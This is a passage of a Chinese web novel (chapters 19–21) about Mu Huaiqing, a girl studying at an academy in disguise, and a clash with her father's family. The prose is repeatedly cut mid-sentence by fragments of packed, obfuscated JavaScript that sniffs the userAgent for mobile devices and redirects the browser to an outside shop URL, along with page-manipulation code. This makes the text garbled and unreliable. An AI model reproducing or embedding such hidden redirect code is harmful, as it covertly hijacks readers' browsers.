d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006988|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都会看啊。” 霍澄好奇地从马时杨手里将书拿过来,随意翻看两眼,道:“怎么是坊刻的?” 王永行道:“不都是坊刻吗?” 江承轩压低了声音:“墨逸轩的才叫精品。” “墨逸轩还有这个?” 那边越说越不像话,慕怀清越听将头埋得越低,脸像烧着了一般烫,抬都抬不起来。 陆居澜注意到了,心中有些好笑,捅了捅她的胳膊。 “你以前没见过?” 慕怀清头埋在臂弯里摇着。 陆居澜心中更奇怪了:“那我第一次去你房间找你那晚……” 慕怀清将头抬起来一点:“什么?” 眼前的人面色绯红,染了羞涩,与平日里的冷清判若两人。 陆居澜多看了两眼,随即不自在地移开了目光,声音也压得很低:“就,就是第一次课试结果出来那天,晚上我去找你,听见,你房中有些动静……” 慕怀清没看过,但很多事并非不懂,她愣了好一会儿,已经明白了陆居澜还未说出口的话。这一刻,仿佛有什么东西在她脑中轰然炸开,炸得她头晕目眩,什么声音也听不见了。 陆居澜以为自己令她难堪了,于是道歉说:“我并非有意撞破,你也莫要放在心上,此乃人之常情。” 慕怀清眼里泛了泪花,是被羞的,也是被气的。 “我那天是在修理床架!”她带着哭腔解释。 陆居澜这会儿自己红了脸。 那边还在激烈争执,没人注意到这里的动静。 柳江心看不下去了,咳了两声:“不是在讲章先生的课吗?” 赵知行废了好大劲才稳住自己面色:“明澈,你就别搅和了。” 周近野道:“对啊,你们莫要再讲这些了,还是学问要紧,云程和无晦都等着呢。” 众人转过头去,却看见两个人莫名其妙都红了脸。 慕怀清深吸一口气,一边站起身,语速飞快道:“学问可以改日再讲,怀清先告辞了。” 她说着慌忙就要出去,却被霍澄拦住。 “等等,”霍澄见慕怀清脸红成这样,似乎发现了什么好玩的事,“你头一回看这个?” 慕怀清急道:“讲学问就讲学问,好端端的扯上这些作甚,这里是读圣贤书的地方,要看你们自己看去!” 周近野笑道:“明澈,你就放过他吧。” 霍澄挠头:“无晦脸皮也太薄了些。” 那边叶誊玉已经和马时杨交换起来了,闻言将一本书塞到她手中:“慕兄若觉得难为情,我便送你一本自己回去看,人生总要有个第一次。不是什么值钱的东西,不用谢。” 叶誊玉一片好心,她骂不出口,只得把书推回去:“我不要!” 叶誊玉以为慕怀清在跟自己客气,于是连连摆手,急得她脸更红了。 “男女之事天经地义,慕师弟没什么好难为情的。” “对啊,以后慕兄常来,多看几回不就好了。” 这书没人接,慕怀清虽气恼,却不好将书摔在地上,正想走两步放到一边的案桌,突然一只手将书接了过去。 陆居澜手里拿着书替她解围道:“你们莫要开玩笑了。” 慕怀清根本不敢看他,觉得脸上才下去些许的热度又要上来了,登时慌忙转身想要出去。 此刻另一人却正好走进房间来,矮矮胖胖,小眼睛,圆鼻头。 19. 第十九章 斋舍常有学子讲学的事章存有早就听说了,一个他熟悉,叫陆居澜,还有一个他前不久才知道来历,叫慕怀清。 两人学问极好,凑在一处交流,经常能吸引不少人围观。前几天有个学生来问他问题,就谈起了那两人晚上经常讲学的事,他听得好奇,也留了心。 要知道书院斋舍可是许久没这么热闹过了。他虽喜欢陆居澜这个学生,但也知道这个学生的性子,如今能看到陆居澜同别人交流起来,他心底多少是高兴的。 书院向来提倡学生自学,经常在课上任由学生自己提问讲解,便是这个目的。能交流起来是好事,带起学习的氛围更是好上加好。 这不,今天他就想来看看斋舍讲学是个什么情况。刚到就听见热闹的交谈声,不用问也知道是在哪里。 章存有走过去时,刚好有个学子从那里回来,他便拉住那学子问:“里面都在讲些什么?” 那学子见是章先生,不知道什么时候章先生也会来斋舍了,心中惶恐,战战兢兢答:“好像、好像是在说先生白日里的讲授的内容。” 章存有听罢内心非常满意,面上笑着点头,一群小崽子还记挂着他的课呢。作为一名讲授先生,最高兴的可不就是学生中意自己的课。 此时那房间外头的学子们见章先生来了,正要行礼,他却摆摆手示意安静。 还未进去,便听的里头一阵哄笑,章存有心想,他讲的课这么有趣?越想越得意,他大步走进房间,迎面却撞上一人。 慕怀清在看见章先生的那一瞬间静止了,不止是她,房间里的其他人也个个骇住。 慕怀清很快反应过来,行了个礼,一众学子也跟着叫“章先生”。 “听说你们在斋舍讲学很是热闹,老朽便过来瞧瞧,”章先生捻着胡子,脸上是比冬天的桃花还要罕见的慈祥笑容,“云程啊,你手里拿的什么书?方才可是在讲这个?” 章存有一进门就看见了,让人丝毫没有半点机会躲藏。 众人的面色瞬间缤纷起来,陆居澜也是面皮一僵。叶誊玉和马时杨躲在后头悄悄将书塞进袖子里。 慕怀清当下笑道:“先生来的可巧了,我们正有一处地方要问。” 章存有的注意力被吸引过去:“哦?什么问题?” 慕怀清随便捡了几个疑问说,章存有便开始讲起来。 众人皆松了口气,陆居澜不动声色退了一步,手背在身后,将书抛给叶誊玉。 叶誊玉轻巧接住,动作不敢太大,也塞进袖子里。 事情到此看上去像是告一段落了。 章先生讲授起来,嗓门那叫一个洪亮,将斋舍近半数的学子都吸引过来。 他平时讲课虽严厉了些,但讲授的内容却毫不含糊。就算骂起人来也有文化,逗趣得很,是以听他责骂都成了不少学子眼里的一种享受,只要那骂的人不是自己。 这会儿众人已然听得入神了,他也兴致很高,讲到兴致高时,便要点人来回答,好似这样就更能显示出学生的好学来——当然,这是在学生能回答出来的前提下。 叶誊玉正听得认真,早忘了先前无伤大雅的小闹剧,此时突然就听见先生点了自己的名。 这一段他记得很清楚,如果讲得好,说不定还能得先生赞扬。他心中高兴,拱手作礼待要答,哗啦啦从袖子里掉了一地书…… 书掉下来,一两本正好摊开朝上,全场瞬间死寂,落针可闻。慕怀清闭了闭眼,又气又想笑。 章存有看不大清,眯着眼瞧,瞧清楚后愣住,想到之前陆居澜手里拿着的,想到慕怀清恰好出声转移他注意力,还能有什么想不明白? 渐渐地,他脸涨成猪肝色,一只手颤抖地抬起来,指着叶誊玉,又指着陆居澜,指了一圈,指得学子们个个垂首。 最后他将书缴了,气得拂袖而走,只扔下一句话:“今日讲簿你们全都给我抄十遍!” 气走了章先生,霍澄第一个哭起来:“我做什么了我!” 所有人目光齐刷刷看向叶誊玉。 这回换叶誊玉涨红了脸,他低着头解释道:“听、听得太认真了,我也没想到先生会点我啊。” “你塞袖子里干嘛!” “你不会找个机会放好吗!” “谁让你行礼还要甩袖子!” 叶誊玉待要辩解,学子们却一窝蜂冲了上去将他淹没,只听得见里头传出来零星一点叫喊。 “哎,你们轻点打!我又不是故意的……好好好,我赔罪还不行吗?等等,你们轻点啊!” 慕怀清无奈扶额。 这件事后来在书院传成一桩笑话,“掉书郎”这个名号也从此跟上了叶誊玉。 有前车之鉴在,其他学子更加谨慎保护,有的还特意寻了个小匣子锁起来,不敢随意再拿。 慕怀清自那以后更是再也不进斋舍。众学子眼见要少了个学习的机会,一致同意把罪魁祸首“掉书郎”推出去。 叶誊玉缠了慕怀清好几天,缠得霍澄都烦了,吃饭时一拍桌子道:“你害得慕兄抄了十遍讲簿,以为你说两句他就能气消?别说他,我这气都还没下去呢!” 慕怀清斜睨霍澄一眼:“当时你不也聊得很开心?” 霍澄讪讪地摸了摸头:“那哪能和他一样……” 慕怀清看向叶誊玉:“只是我有一个要求,讲学时不准再聊其他无关话题。” “是,多谢慕兄!”叶誊玉眼睛都亮了,行了个礼,又看向陆居澜。 陆居澜道:“我听他的。” 慕怀清听见他声音,又想起来那晚的误会,不免有些气恼。 此事便算就此揭过了。 - 自从进了书院,慕怀清每日只管学习,平时生员月供和课试所得奖赏钱足够开销。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019720|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >府中虽然不待见她,但在赵季青的眼皮子底下,每月发的例银倒是不少,这些她都攒着未曾动过,因为她知道这样平静的日子不会太久。 这天下午是方先生讲史,天气有些热,窗边的日光照进来,在她桌上摇晃出一片斑驳树影。 偶尔几声蝉鸣和着方先生那平平淡淡、毫无起伏的声音,令慕怀清也不免觉得困乏,更不必说学斋里的其他学子。 终于捱到散讲,霍澄立马一扫疲倦,拉着陆居澜几人去思源斋吃饭。 可刚一出学斋门,慕怀清就看见赵翁候在门外。 赵知行也看见了。 几人停下脚步。 霍澄怪道:“是知行府上的内知,他怎么来这了?” 赵翁神色有些焦急,看见慕怀清后如蒙大赦,连忙走过去:“小郎君,府上有些急事需要您回去。” 慕怀清见他满头大汗,想必他是等在门外许久,不敢进去打扰讲学。 赵知行道:“什么急事,我呢?” 赵翁面有难色。 陆居澜猜不出是什么事,但见那赵翁的神情,料想必定不是什么好事,于是开口道:“无晦有课业在身,可否请赵翁详细说说?” 慕怀清已知晓是什么急事了,只是心想,这事来得比自己预想中的晚了些。 她回头对几人道:“不必再问了,你们先用饭去吧,我随赵翁走一趟就是。” 赵知行这会儿突然聪敏起来:“是不是祖母来了!” 赵翁无奈点头。 赵知行面色一变:“那我爹呢?” “派去传话的人说大官人出城去了。” 陆居澜问慕怀清:“你早知道?” 慕怀清点头:“猜到了。” 霍澄不明就里:“什么事?知行的祖母怎么了吗?” 周近野小声对他说:“恐怕是冲着无晦的身份来的。” 霍澄当即跳起来:“那不行!万一无晦回去被欺负怎么办!” 陆居澜也不放心,对慕怀清道:“我同你走一趟吧。” 周近野道:“你们要如何去?如果无晦真的受到刁难你们又当如何?” 慕怀清道:“近野兄说的是,你们身为府外人,不便插手。” 赵翁已经是急得如那热锅上的蚂蚁:“太夫人已经等很久了。” 赵知行面色难看:“我和他一起回去吧。” 陆居澜皱眉道:“也好,无晦就托你照看了。” 慕怀清失笑道:“我又不是小孩子。” 陆居澜几个却实在笑不起来。 临走前霍澄拍着胸脯道:“被人欺负了告诉我一声,我帮你讨回理来!他们不要你,我要!” 慕怀清倒是神色悠哉:“明澈不必担心,不会走到那步的。” 若说替了慕家弟弟的身份来求学,最大的收获除了学问,还有这几个朋友。 20. 第二十章 马车一晃一晃停在了赵府正门,慕怀清只从这里进去过一次,现在是第二次。 赵翁领着他们去正厅,厅内一片沉寂,只有茶盏偶尔碰撞的声音,气氛非常压抑。 正厅上首,坐着一位略有些富态的老妇,她眯着眼靠在椅背上,想必就是赵知行的祖母,边上还随了个年轻的女使。 她左下坐着的是王氏和赵小苒,右下的一个年轻妇人慕怀清却认不出来,应当是随同太夫人来的。 慕怀清刚一进门,便听得那太夫人厉声道:“跪下!” 赵知行正要跪,太夫人又指着慕怀清道:“说的是他。” 赵知行语气有些急:“祖母,你这是要做什么?” “放肆!刚一见面,你就是这么跟长辈说话的?” 赵知行这才忍下焦躁,补上礼,拜了几位长者,他对那年轻妇人则称呼叔母。 慕怀清没跪,正常行了个礼,问道:“不知孙儿做错了什么,惹得祖母不快。” “我没有你这个孙子!来人,让他给我跪下来。” “怀清跪天跪地跪父母跪老师,太夫人既然不肯相认,我又为何要跪。” “好,好得很,”太夫人怒道,“把他腿给我打折,今日我非要叫这小子跪下来不可!” 两个仆人正要上前来捉她,赵知行一把挡在她身前:“祖母不可!此事若叫爹爹知道了,定会伤了您和爹爹的情分!” 太夫人道:“大郎这么糊涂,你也和他一样糊涂吗!” 王氏也对赵知行喝道:“你凑什么热闹,还不快过来!” 赵知行的叔母郑氏嘲道:“好一个伶牙俐齿的小子,兄公就这么让一个身份不清不楚的人进了门,姒妇也不劝着些。” 太夫人跟着责怪王氏道:“娣妇说的没错,姒妇,你这事做的确实不妥帖,一个当家主母,竟然让内宅之事闹得满城风雨,叫别人看我赵家热闹!” 王氏面色难看。 赵小苒急道:“祖母,自打他进府来,娘都和爹爹吵过很多次了,为此整日整日地吃不好饭睡不好觉,可爹爹都不听啊!而且,娘不是传信告诉祖母了吗?” 太夫人没再苛责什么,随后看向慕怀清身边的两个仆人。 其中一个在接收到太夫人的目光后一脚踢在慕怀清膝弯处,令她猛然磕跪在地上。 赵知行见着,当即也跟着跪了下来。 慕怀清看向他,心中有些感激,但是怕自己连累他受罚,低声对他道:“你快起来,别再惹你祖母生气了。” 赵知行不应她,只继续对太夫人道:“祖母,此事还是等爹回来再说吧,很多事情并非您想象的那样。” 太夫人冷笑一声,看向慕怀清:“那你且说说,你找上门来是为了什么?” 慕怀清虽跪在地上,脊背却挺直:“先母已故,晚辈既知有个爹爹,为何不能相认?” “既然认着了,怎么还赖在这里不走?你败坏我儿名声,贪图赵家富贵,果然和那个女人一个模子刻出来的。” “太夫人如此诋毁先母,此等素养不也是败坏赵家名声吗?” 赵知行听罢吓得一身冷汗,连连拽她袖子。 果然那太夫人雷霆大怒,对身旁女使道:“红莲,给我掌他的嘴!” 郑氏则劝道:“阿姑可别为他气坏了身子,不值当。” 太夫人这会儿也反应过来这小子有恃无恐的原因。若真打了人,传到外头让人抓到把柄,说他们赵家看不起人,仗势欺辱一个丧母寻亲的孩子,更何况自家儿子还是知州。 她按下怒气,又问:“听说你前段时间还求我儿让你进了崇临书院?” “明年就是科举,晚辈所求不过是一个入学试的机会。” 赵知行此时插话道:“此事孙儿可以证明,二弟他学问极好,和陆家的陆云程不相上下。” 慕怀清看了赵知行一眼,这是他第一次以亲人的身份唤自己。 太夫人道:“我不认得什么陆云程,只管看这小子身份,他就不配做我赵家人!” 慕怀清平静道:“我是不是赵家人,太夫人不是最清楚吗?若非惧怕爹爹与先母的感情,又为何要在悔婚逼爹爹另娶之后着急搬离亳阳郡?” 赵知行道:“什么悔婚?什么搬离?” 王氏道:“不该你管的事别多管,还不快过来!翠翠,你去扶他。” 翠翠走到赵知行身边时,却被赵知行制止了,他对慕怀清道:“你从来没提过这些。” 太夫人道:“男未婚女未嫁,要是有不合适的地方,怎么就不能悔了?倒是你娘,明知我儿已经成婚,还要做些不守妇道的事出来。” “分明是一对有情人一起犯的错,太夫人为何只对先母说些侮辱之词。世俗向来苛责女子,却对男子视而不见,听而不闻,简直可笑至极。” “你放肆!”太夫人拍桌而起。 “晚辈不过说了些心里的实话而已。太夫人不想认下我这个孙子,无非是当初拆散了先母与爹爹,如今怕打了自己脸面。” 赵知行后背已然湿透,他不明白向来沉稳的慕怀清,为何会一再激怒祖母。 太夫人果然怒不可遏,手指颤抖指着慕怀清:“今天必须给我掌了他的嘴,叫他说不出一个字来!” 赵知行眼见那名叫红莲的女使面无表情走下来,于是一把拦在慕怀清身前:“祖母不可!” 郑氏瞧热闹地笑:“这小子犯了对知州母亲的不敬之罪,如何打不得?” 翠翠也为难地拖着赵知行起来:“大郎君,还是听大娘子的话吧。” 红莲趁机一掌扇了下去。 赵知行瞪大双眼,却见那手掌被人一把捏住了。他松了口气。 慕怀清攥紧红莲手腕,站了起来:“太夫人既然如此,这赵家的族谱也不值得我稀罕了。” 赵知行一口气又提了上来。 太夫人被郑氏搀着坐了回去:“你最好是自己滚出赵家,滚得越远越好!” “赵家的事好说,但要在书院求学,我却不能离开晋州。” “笑话,你不滚出晋州,这事儿就完不了!” 此时,堂外一道洪亮的声音传进来:“谁说他要走!” 众人闻声看去,只见赵季青大步流星迈进门来。今日的他着常服,衣衫并不整洁,裤脚沾了些泥水,鞋边也有泥泞。 进门后,他看了红莲一眼,红莲被这威严十足的目光吓住,忙挣了手,退回太夫人身边。 赵季青对太夫人行了一礼:“母亲带着弟媳长途跋涉过来,也没有提前知会孩儿一声,孩儿未曾迎接,还望母亲恕罪。” 太夫人见着自家儿子,却半点笑意也无:“哼,你把这小子接进府,也没知会我一声,你心里哪还有我这个母亲。” 赵季青弯腰扶赵知行起来,道:“两个孩子犯了什么错,母亲何故让他们一个跪着,一个挨打?” 两人唤了句“爹”。 太夫人直截了当道:“这小子绝不能留在赵家,更不可能进我赵家的族谱。” 赵季青道:“三娘已经去了,母亲还要如何?怀清说到底是我的骨肉,难道母亲要我做个不仁不义的弃子之人吗?” “他身份不堪,也未必是你骨肉,你便是赶他出去又如何?这么多年你居然还念着那个女人,连亲娘都不顾了!” 赵季青看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024351|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼王氏,后者神色漠然。他收回目光,缓缓跪了下去,坚定对太夫人道:“请恕孩儿不孝。” 慕怀清和赵知行连忙跟着跪在他身边。 太夫人大怒,气也开始不顺畅。 “阿姑万万保重身子啊,”郑氏靠过来轻抚她的背,又对赵季青道,“兄公与阿姑两三年未见,今儿才见着,又何必如此忤逆阿姑,惹得阿姑动气?” 太夫人顺过气来,固执道:“大郎,我不管你心里怎么想,这小子身份不光彩,决计不能留在赵家,更何况他还是那个女人的种,否则你叫我如何对得起你去世的爹?” 赵季青满目痛色: “可是母亲,一直是你在逼我啊,二十年前,是你们以性命相挟,强行拆散了我和三娘。 “这么些年,我活在痛苦之中,更是曾经一念之差铸成了大错。她积郁成疾早早去了,我甚至不敢想象她独自抚养怀清长大究竟受了多少罪。 “三娘去后,怀清万幸还有他外祖母照顾,可去年,就连他外祖母也去了。他受尽刁难逃出家门,辗转流浪才寻到了我。他如今不过才十八岁啊,母亲何至于对一个孩子如此铁石心肠。” 太夫人一时无言,赵知行也久久处在震惊之中。 郑氏此时出声道:“兄公这话可就错了,阿姑这么做都是为了兄公和这个家好。若非姒妇家帮衬,先舅身染重疾哪来的钱医治?兄公当时又哪能凑够盘缠进京赶考?兄公第一个不能对不起的便是姒妇啊。天下可怜之人太多了,兄公又如何帮得过来?” 这话似乎说到太夫人心坎里去了,她宽慰地拍了拍郑氏的手:“还是娣妇明白啊。” “爹?”赵知行不安地看向赵季青。 赵季青神色颓然:“母亲,我已然不能再退让了,如果母亲执意如此,便请告孩儿一个忤逆之罪吧。” 太夫人被这话吓了一跳。要知道大梁重孝道,这忤逆之罪是何等严重,足以让人丢官坐牢。 慕怀清也没想到赵季青竟能做到这个地步,她因慕家弟弟而起的一点怨气此刻彻底烟消云散,这位名义上的爹,似乎真正与她有了牵连。 王氏扶着赵小苒的手起身,对太夫人行了一礼,道:“阿姑,儿媳实在头有些晕,可否先行回去?” 太夫人道:“既然身子不舒服,就请个郎中来瞧瞧,这件事自有我来处理。” 赵季青看着王氏带着赵小苒离开,心中叹息,却是什么也没说。 慕怀清此时先开了口:“爹爹,还记得孩儿说过的话吗?孩儿不求认祖归宗,能与爹爹相认便好。往后孩儿长住书院,若有机会就会来看望爹爹。爹爹莫要因此与太夫人为难。” 太夫人冷眼瞧着,对赵季青道:“他都这么说了,你还要留他在这里吗?” 赵季青坚决道:“是。” 慕怀清复又向赵季青叩了个头:“爹爹,孩儿自请离开赵家,还请爹爹答应。” “这话万万不可说!” 赵知行也忙向太夫人叩首:“祖母,孙儿请求你,爹爹便是见平常百姓受难也不忍,又叫爹爹如何能这样对待二弟!” 太夫人到这里已然看累了:“你们也别为这小子跪着了,瞧得我心烦。那小子自己开了口,我便也退一步,允他留在晋州,但人一定不能留在我赵家,这是我的底线,别的你们说什么也没用。娣妇,我们走。” “是。”郑氏扶着太夫人,带着女使和院子离开了。 赵季青扶着他们二人起身,叹道:“怀清,是为父对不住你,此事为父定会给你一个交代。” 慕怀清摇头:“若真令爹爹陷入两难的境地,才是孩儿不孝。” 赵知行沉默下来。 21. 第二十一章 回书院的马车上。 赵知行面上难得露出这样沉重而纠结的神色:“你们说的那些事情,都是真的吗?” 慕怀清坐他对面,抱着从赵家收拾出来的包袱:“大哥何必多问呢?” “你从未说过内情,我以为……” “什么样的内情也不能掩盖先母和爹爹犯下的错。” 赵知行听见这话惊讶了一下。 慕怀清接着道:“我不需要你的同情,不需要你母亲和你妹妹的谅解,更不在意别人对我的看法。该讨厌我的人,不会因为一两句辩解对我改观,愿意与我相交的人,有没有这一两句话也无关紧要。” 赵知行心中震撼,几个月接触下来,这位陌生的“兄弟”一再打破他内心的认知。 他深深呼出口气,似乎是放下了什么,朝慕怀清拱手行礼道:“言礼在此,为往日浅薄的见识,向二弟赔罪了。” “大哥不必如此,今日维护之情我还未向大哥道谢。” 赵知行摇头:“我什么也做不了,有愧于你这一声大哥。” “大哥有此心便足够了。” 车厢里重新恢复安静。 现在已是傍晚,热气消退,微风轻轻拂动车帘。 慕怀清将目光投向窗外,视线里天色黯然,整片天空亮起的第一颗星星就挂在太阳落下的地方。 她对这颗独特的星星印象很深。小时候好奇指给爹看,爹说它有两个名字,夜里出现在西边叫长庚,清晨在东边叫启明。 她那时便觉得,这是一颗很孤傲的星,第一个对抗黑夜,第一个迎接晨曦。 她想到自己现在的处境,似乎映在眼里的长庚星也亲切起来。 不管未来的路如何孤独、不安,她都没有后退可言,唯有燃烧,直至成烬。 回到书院后,她与赵知行在斋舍前分别:“我直接回住处了,大哥替我转告他们,怀清一切平安即可。” 赵知行颔首。 - 第二日一早,慕怀清到德容斋点卯,晨光大好,她刚看两行字,陆居澜他们便来了。 霍澄凑过来想问昨天的事,她比了个噤声的手势,又指了指台上看守秩序的斋长李行简,霍澄只好作罢。 五个人都坐在一处,慕怀清看着看着,陆居澜从背后拍了拍她,递过来一张纸。 她接过来看,上面写着:昨日的事知行都同我们说了,他膝盖有些淤青,你怎么样? 慕怀清心中笑这人幼稚,也因这人泛起暖意,她提笔回道:我没注意是否有伤,但想来不要紧,你不必担心。 纸递回去了便没了动静。 不知过了多久,天也彻底大亮,陆陆续续有学子起身去吃早饭。 慕怀清温习完昨日的课业,扫了眼其他四个人,见他们还在看,便又等了一会儿,直到霍澄第一个捱不住合上了书,朝几人招手。 去食斋吃早饭的路上,霍澄开口便数落她道:“你怎么就这么听话啊,真想在书院住一辈子不成?你都不知道昨晚听知行说的时候快把我气死了,他们居然还敢打你,简直欺人太甚!” 赵知行在慕怀清看向自己的时候解释道:“他的性子你也知道,我不和他讲昨晚根本没办法睡。” 周近野无奈道:“这事根本无解啊。” 慕怀清笑道:“有道是,山高自有客行路,水深自有渡船人。我知你们为我担心,但在我看来这确实不是什么大事。” 霍澄道:“要不然你来我家住吧,我还嫌家里空荡荡没什么人呢。” “明澈的好意我心领了,只是在书院住也好,省下来回的时间看书。” “无晦去过云溪寺吗?”陆居澜问得突然,几人一齐看向他,他笑了下,接着道,“我只是想说,无晦应当还没在附近游玩过,每次旬假我们都各自回家,下次旬假一同出游可好?莫再为这些事烦心了。” 霍澄第一个拍手叫好:“对啊对啊,我怎么就没想到呢,我也不回去了,就和你们一起去玩!” 周近野道:“我们几个自开春后确实没有一起出游过,这倒是个好主意。无晦觉得如何?” 慕怀清点头笑道:“那便有劳各位做我的向导了。” - 这几日太夫人虽一直住在府上,但平日里事务繁忙的赵季青每每抽出时间来要和她聊慕怀清的事,她都借口休息避而不见。 今天傍晚郑氏照旧将赵季青挡在门外时,也瞧热闹似的笑:“阿姑已经歇下了,兄公下次还是早点来吧,” 赵季青已经被这个借口挡了几回,但此刻他还是耐着性子道:“有些事迟早要解决,烦请弟媳再劝劝母亲。” “兄公看来是真的不怕丢官啊,阿姑没将那小子直接赶出去已经是最大的让步了,兄公还是莫要得寸进尺得好。阿姑长路迢迢赶来好不容易与你见上一见,你便这样相待,我都替阿姑觉得寒心。” “弟媳跟着母亲吃斋念佛这么多年,也总该学会慈悲二字才是。” 郑氏冷笑:“慈悲能当饭吃吗?抵得上几个面子?兄公怕是当官当傻了,不光忤逆阿姑,竟还说起阿姑吃斋念佛的不是。” “弟媳莫要胡言,”赵季青朗声朝里道,“既然母亲已经歇下了,那儿子便下次再来探望。怀清的事还望母亲能三思,莫要逼儿子做个不孝之人,也莫要失去了一位好孙儿。” 郑氏看着赵季青离开后,转身也进了屋。屋里,太夫人撑头闭眼靠坐在榻上,身旁那位名叫红莲的女使正轻轻抚着她的背给她顺气。 太夫人听见脚步声,眼也未睁,向郑氏高声怒道:“你听听他说的那些话,他是长本事了,竟连娘都不要了,一心要护着那个小子!” 郑氏接替了红莲的活,安慰太夫人道:“阿姑消消气,气坏身子可就不值当了。儿媳倒是有一个办法,不如阿姑先听儿媳说几句?” 太夫人睁开眼看向她:“什么办法?” 郑氏道:“我都打听过了,那个小子现在是在天下有名的崇临书院读书,长孙说他的学问和一个姓陆的一样好也是真的。阿姑可能不知道,这姓陆的有个爹还在京城当大官呢。既然那小子读书确实不错,不如我们就借此提个条件,想要我们承认他可以,除非他中个进士回来。” 太夫人哼了一声:“我可不想承认他。” “阿姑别急,您仔细想想,如果那小子真能中个进士回来,承认了他对我们来说也是一件脸上添光的好事,反之正好有个理由彻底将他赶走。如此一举两得,不至于伤了您和兄公的母子情分,退一步讲,中状元难如登天,这小子要是真有这实力,我们认下也没有坏处。” 太夫人仔细思量了一番,觉得郑氏的话也不无道理:“那我就这样和大郎说?” 郑氏笑道:“不急。这眼看还有一个月多就到仲秋了,阿姑不是想留在这过个节吗,我们拖一拖再松口,叫兄公自个儿先着急去。” 太夫人拍着她的手背,欣慰地笑:“娣妇这个办法确实不错。” - 清晨的栖云山笼着一层薄雾,旭日初升,金色的光渐渐浸透雾气,一座寺庙在半山腰处若隐若现。 慕怀清一步步踩着山路台阶上去,待金光融化云雾之时,云溪寺已近在眼前,她也累得气喘吁吁。她没想到,这栖云山竟如此之高。 偏头看去,赵知行面若苦瓜,比她好不了太多,别的三个优哉游哉,霍澄走在前头甚至快见不着人影了。 陆居澜要扶她,被她执意拒绝,便放慢脚步在她身边,赵知行见此,更是不好意思叫周近野来扶。 此时,一个鬓发略白的老媪提着香篮从他们边上经过,啧啧了两声:“现在的读书人呐。” 四人对视一番,俱都笑了起来。 陆居澜对慕怀清道:“御书阁那次便知你力气不行,却没想到爬半座山也将你累成这样,早知道该换个去处的。” 慕怀清看着那老人家的背影,惭愧道:“好歹我自己爬上来了,云程兄就别再笑话我了。” 周近野道:“你和知行都不习武艺,平时读书也不好动,改日我送你一对石锁吧。” 慕怀清问:“什么石锁?” 赵知行想起他们曾逼着自己去举周近野床底那东西,脸都白了:“石头凿成锁的样式,比你三个头还大,拿来举重的。” 慕怀清听罢,头摇成拨浪鼓:“不可不可,这我万万使不来。” 周近野道:“无须我那样大的,有你两个头大就好了。” 陆居澜忍不住在旁边笑:“还是饶了他吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033452|148317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你那石锁,我都举不来。” 几人谈笑间,已到了云溪寺山门前,霍澄早等在那里,此时又折回他们身边,抱怨一句太慢,便和他们一道进去了。 长廊边上凿了四方莲池,正值盛夏时节,满池莲开,风动香来,和着清幽的佛香弥漫,仿佛令人连心也平静下来。 “你们要去上香吗?”到了这寺庙里,霍澄也收起了一贯不正经的嬉笑模样。 慕怀清笑着摇头:“我随处看看。” 时隔五六年,她再一次踏进了寺庙中,不是陪着爹,不是跟着乡民看迎神的热闹。她带着几年的磨难,不再懵懂无知。 过了莲池的第一殿是天王殿。石阶上朱墙黑瓦,香客进进出出,人却不少。赵知行说去解个手,慕怀清等人便先进去了。 殿内供奉着弥勒佛和四大天王。木塑弥勒佛像坐在正中,高有八尺,慕怀清仰头看着,仿佛低眉善目的弥勒佛也正看着自己。她心底忽的涌上一种触动,仿佛世界回归混沌之中,连自己也变得虚无。 香客来来回回在她身旁经过,她站在殿中大逆不道地想,这世上果真有神佛吗?转念一想,有没有似乎也不重要,佛的神像在此,便足够了。 - 阳光铺在小径上,赵知行解完手正要往回走,转过拐角,却蓦地停住了。 树木茂盛,擎如华盖,一片阴凉中,只见有少女坐在墙头晃着双腿,臻首玉颈,双眸灵动,叶隙漏下的几点光影缀在她眉眼,忽的就让赵知行脑海中浮现一句话来。 一霎黄梅细雨,如烟似雾。 他站在那看,看了好一会。 少女摇头晃脑地转过头来,才发现立了个大活人在,吓了一跳,原先撑在墙上的手滑下来,整个人往一侧栽去! 赵知行做的比想的快,当即扑过去接住那少女,两人一齐摔在了地上。 他松了手,慌忙起身行礼道歉,话都说不利索:“娘子可有伤着?在下并非有意,不是,刚才见娘子要摔下来,在下觉得危险——总之无意冒犯,还请娘子见谅!” 少女羞涩站起身来,理了理衣裙:“我没事,多谢郎君出手相救,郎君没事吧?” 